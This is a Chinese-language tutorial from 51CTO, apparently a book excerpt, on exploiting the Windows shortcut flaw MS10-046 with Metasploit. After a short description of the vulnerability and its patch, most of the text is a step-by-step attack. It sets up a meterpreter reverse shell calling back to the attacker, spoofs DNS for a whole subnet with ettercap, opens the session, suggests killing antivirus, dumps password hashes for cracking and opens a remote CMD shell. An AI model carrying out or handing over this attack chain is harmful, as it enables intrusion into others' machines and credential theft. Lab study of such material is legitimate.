Metasploit Framework应用实例:代码漏洞攻击

安全 数据安全
Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用,点击LNK文件与点击快捷方式所指定的目标具有相同的效果。

Microsoft Windows快捷方式LNK文件自动执行代码漏洞攻击(MS10-046)

Metasploit Framework软件介绍及下载:http://netsecurity.51cto.com/art/201106/268429.htm

◆漏洞描述

1、漏洞定义

Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用,点击LNK文件与点击快捷方式所指定的目标具有相同的效果。

Windows没有正确地处理LNK文件,特制的LNK文件可能导致Windows自动执行快捷方式文件所指定的代码。这些代码可能位于USB驱动、本地 或远程文件系统、光驱或其他位置,使用资源管理器查看了LNK文件所在位置就足以触发这个漏洞。默认下Windows启动了自动加载和自动播放功能,因此 在连接可移动设备(如USB闪存)后Windows会自动打开资源管理器。其他显示文件图标的应用也可用作这个漏洞的攻击载体。受影响的Windows系统如下表1所示:

表1

漏洞名称

受影响的Windows系统类型

MS10-046

Microsoft Windows XP SP3

Microsoft Windows XP SP2

Microsoft Windows Vista SP2

Microsoft Windows Vista SP1

Microsoft Windows Server 2008

Microsoft Windows Server 2008 SP2

Microsoft Windows Server 2008 R2

Microsoft Windows Server 2003 SP2

Microsoft Windows 7

2、关于补丁

Microsoft已经为此发布了一个安全公告(MS10-046)以及相应补丁:

MS10-046:Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198),其详细说明文档的链接如下:

http://www.microsoft.com/china/technet/security/bulletin/MS10-046.mspx

此安全更新解决了Windows Shell 中一个公开披露的漏洞。 如果显示特制的快捷方式图标,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。除了使用Windows系统自带的自动更新来升级补丁外,也可以使用360安全卫士之类的第三方工具来实现。#p#

◆攻击操作

接下来,我们开始使用Metasploit3进行溢出攻击,下面为详细步骤。

步骤1:进入Metasploit,载入攻击代码。

作为攻击者而言,首先是进入Metasploit。除了从菜单上直接点选进入Metasploit外,我们也可以在图形界面下打开任意一个Shell,直接输入msfconsole命令来进入Metasploit。如下图-1所示,可以看到当前包含代码数量、参数状态及最新版本等。

图-1

图-1

命令如下:

search ms10_046

回车后即可看到如下图-2所示的搜索结果,显示存在一个名为"ms10_046_shortcut_icon_dllloader"的可用攻击代码。接下来,就可以载入该攻击代码,具体命令如下:

use windows/browser/ms10_046_shortcut_icon_dllloader

回车后如下图所示,就载入了该攻击代码。

图-2

图-2

在使用一个攻击代码前,需要先查看其必需的设置参数有哪些,所以先要输入如下命令:

show options

回车后即可看到该攻击代码的设置参数,如下图-3所示,在图中间可以看到SRVHOST、SRVPORT、URIPATH这三个参数是必须的,其中,SRVPORT和URIPATH是已经默认设置好的。

图-3

图-3 #p#

步骤2:在Metasploit3上配置攻击代码。

既然知道了必需的配置参数,接下来就可以使用set命令来依次配置参数。其中,设置溢出有效载荷为反向溢出,而为了使用到Metasploit中的具备强化Shell功能的Meterpreter,所以设置为PAYLOAD为windows/metepreter/reverse_tcp此外,由于后面攻击者还要使用ettercap对目标进行DNS欺骗攻击,所以攻击者应要将反弹端口的目的地设置为自身IP,即设置LHOST为自身IP。最后,使用exploit执行溢出。具体命令如下:

set   SRVHOST   攻击者自身IP
set   PAYLOAD   windows/meterpreter/reverse_tcp
set   LHOST   攻击者自身IP
exploit

依次输入回车后如下图-4所示,会显示为启用一个URL地址为http://10.23.0.3:80,对应一个共享目录\\10.23.0.3\owhBPhxMJ\。

图-4

图-4 #p#

步骤3:配置EtterCap,执行DNS欺骗攻击。

关于DNS欺骗攻击会使用到Ettercap,这款工具的操作可以参考本书12章12.1节内容。不过在使用Ettercap进行DNS欺骗攻击之前,我们先修改一下Ettercap的dns模块,即修改/usr/share/ettercap/etter.dns文件,格式为添加*.com、*.net、*.org及*.cn的解析指向为10.23.0.3。具体命令如下:

nano /usr/share/ettercap/etter.dns
cat  /usr/share/ettercap/etter.dns

执行效果如下图-5所示。

图-5

图-5

修改etter.dns完毕后,就可以开启ettercap进行DNS欺骗攻击了,具体命令如下:

ettercap -T -q -i eth0 -P dns_spoof // //

参数解释:

-T 使用文字界面,建议不喜欢 GUI模式的朋友使用;

-q 指quiet模式,就是让Ettercap表现得安静些,少些不必要的文字报告;

-i 后跟网卡名称,这里就是eth0;

-P 后跟需要载入的插件,这里就是dns_spoof插件;

// 指代任意MAC地址、任意IP地址,即全网段。

回车后即可看到如下图-6所示。此时的Ettercap开始对当前网段实施DNS欺骗攻击。

图-6

图-6

步骤4:收到反向溢出Shell,侵入目标主机。

此时,在目标主机(也可认为是受害者,采用Windows XP SP3系统,IP地址为10.23.0.4)上打开浏览器,输入网址http://google.com并回车,如下图-7所示,会发现浏览器的响应会变得缓慢。

图-7

图-7

稍等数秒后,我们会发现在目标主机上的浏览器上原本应显示为Google的主页,突然变成了一个名为\\10.23.0.3\owhBPhxMJ的共享目录。如下图-8所示。

图-8

图-8

而此时,在攻击者的主机上,在开启EtterCap命令的Shell下,也同时出现了一些域名的请求被拦截及被同步欺骗到10.23.0.3上,如下图-9所示,能看到一个向google.com的域名解析请求被EtterCap拦截并重定向到10.23.0.3上。

图-9

回到Metasploit的Shell下,就会看到当DNS欺骗导致的重定向发生后,受害者被强制运行了攻击者主机即10.23.0.3上Metasploit执行的漏洞攻击代码。于是在成功溢出后,攻击者拿到了一个反向溢出Shell。如下图-10所示,黑框中标出的即可获取到一个Meterpreter Session。

图-10

图-10

此时,攻击者可以使用Ctrl+C中断一下攻击代码的实时显示,输入back命令回到Metasploit的根目录后,就可以使用session查看这个反向溢出Shell的ID号,然后再调用该ID即可。具体命令如下:

sessions
sessions  -i  1

参数解释:

-i num 该参数用于调用不同ID号的成功溢出Shell,后跟的num为ID号。如下图-11所示,显示的当前可用Session只有1个,即成功溢出10.23.0.4后获得的Shell。

依次输入上述命令,就可以成功调用该反向溢出Shell。如下图-11所示,由于之前设置为Metasploit内置的特殊Shell-Meterpreter,所以此时会看到提示符从"msf"变成了"meterpreter"。

图-11 #p#

步骤5:入侵后在目标主机执行命令。

为了方便安全渗透测试人员可以更深入地研究漏洞的危害性,强化了的Meterpreter里也内置了大量的工具及命令。举几个例子:

ps  列出当前运行的全部程序

如下图-12所示,输入ps回车后会显示出该Windows上当前运行的全部程序进程,攻击者将根据需要使用kill来杀掉某个进程,比如杀毒软件。

图-12

图-12

为了扩展一下思路,我们再来看看如何获取受害者主机上的密码Hash。具体命令如下:

use  priv  使用特权工具

hashdump  获取Windows所有用户密码Hash值

依次输入上述命令然后回车后就可看到如下图-13所示内容,攻击者成功地获取到了目标主机上的全部用户列表及对应的密码Hash表。这个Hash表的内容只要导入Ophcrack之类的工具中就可以轻松地破解,而关于Ophcrack的具体使用大家可以参考本书的10.1节,这里就不再重复描述。

图-13

图-13

当然,可能有的朋友要说,在这个meterpreter里面很难输入Windows命令。哦,是的,貌似是这样,但是没关系,我们可以很容易地解决这个小问题。只要输入shell这个命令,攻击者就能够进入到目标主机的CMD界面中。

如下图-14所示,只需要驶入shell,回车后攻击者就可以进入到CMD的界面中,在这个界面里任何CMD下支持的命令都可以执行,比如使用ipconfig来显示当前IP地址。如下图-14所示,我们确实看到当前IP显示为10.23.0.4,对,我们现在就在受害者的主机里。至于添加账户之类的命令就由小黑们按照想法自行使用啦。

图-14

图-14

好了,到这里,Metasploit3的基本使用,我想大家都已经学会了。

 

责任编辑:佟健 来源: 51CTO.com
相关推荐

2020-10-06 13:58:25

漏洞

2021-01-26 10:00:45

漏洞网络安全网络攻击

2010-12-01 12:37:03

2011-06-13 14:15:02

2023-06-15 11:59:05

2009-11-10 10:33:10

2009-09-22 08:39:59

Hibernate F

2014-11-26 09:15:20

2014-06-26 11:33:42

2013-04-27 14:35:40

2017-08-09 17:09:47

2009-06-24 08:51:55

2010-09-26 17:21:07

2020-10-16 10:30:28

黑客

2012-12-19 10:36:06

2009-01-27 20:36:00

2009-10-23 09:17:53

2013-08-15 17:32:51

2024-03-28 14:34:09

2010-07-14 17:46:40

Telnet Tool
点赞
收藏

51CTO技术栈公众号